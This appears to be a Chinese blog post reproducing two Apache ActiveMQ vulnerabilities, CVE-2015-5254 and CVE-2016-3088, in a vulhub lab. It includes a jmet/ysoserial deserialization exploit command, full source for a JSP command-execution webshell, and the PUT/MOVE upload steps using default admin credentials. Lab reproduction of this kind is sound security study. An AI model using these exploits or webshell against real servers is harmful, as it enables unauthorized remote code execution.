vulhub复现一 activemq

本文详细介绍了Apache ActiveMQ的两个重大安全漏洞:CVE-2015-5254和CVE-2016-3088。CVE-2015-5254涉及未限制的序列化类导致远程代码执行,攻击者可通过构造特定的序列化对象并发送到61616端口触发。而CVE-2016-3088则是任意文件写入漏洞,攻击者可以利用管理页面上传webshell并移动文件以获得执行权限。文章提供了漏洞利用步骤和示例。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一、概述

Apache ActiveMQ是Apache软件基金会所研发的开放源代码消息中间件;由于ActiveMQ是一个纯Java程序,因此只需要操作系统支持Java虚拟机,ActiveMQ便可执行。

环境运行后,会开启两个端口,61616和8161
其中61616是工作端口,消息在这个端口进行传递,8161是网络管理页面端口,访问ip:8161即可看到网络管理页面。

一 CVE-2015-5254ActiveMQ反序列化漏洞

漏洞详情:
Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码
1.上传文件
使用ysoserial构造可执行命令的序列化对象
作为一个消息,发送给61616端口
访问web页面,查看消息,触发漏洞
下载jmet的jar文件,Jmet原理是使用ysoserial生成payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME
执行如下命令

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y “touch
/tmp/success” -Yp ROME 192.168.4.10 61616

在这里插入图片描述
这个时候已经上传到web管理页面,我们通过访问
http://yourip:8161/admin/browse.jsp?JMSDestination=event
来查看消息
在这里插入图片描述
点击查看这条消息,触发漏洞。查看容器中/tem/success利用漏洞成功
在这里插入图片描述

二、CVE-2016-3088Activemq任意文件写入漏洞

首先访问ip:8161/admin进行登录 账号:admin 密码:admin
访问ip:8161/fileserver进行抓包,使用PUT方法,将webshell上传到fileserver目录下
在这里插入图片描述
jsp的内容为:

<%@ page import=“java.io.*”%> <% out.print(“Hello”); String
strcmd=request.getParameter(“cmd”); String line=null; Process
p=Runtime.getRuntime().exec(strcmd); BufferedReader br=new
BufferedReader(new InputStreamReader(p.getInputStream()));

while((line=br.readLine())!=null){ out.print(line+“”); } %>

访问jsp页面
在这里插入图片描述
没有解析成功,是fileserver目录下权限不够,访问ip:8161//admin/test/systemProperties.jsp,查看Activemq的绝对路径
在这里插入图片描述
等到他的绝对路径后,访问/fileserver/4.jsp,进行抓包,利用MOVE的方式将4.jsp移到opt目录下
在这里插入图片描述
移动之后,访问/api/4.jsp?cmd=whoami 命令执行成功
在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值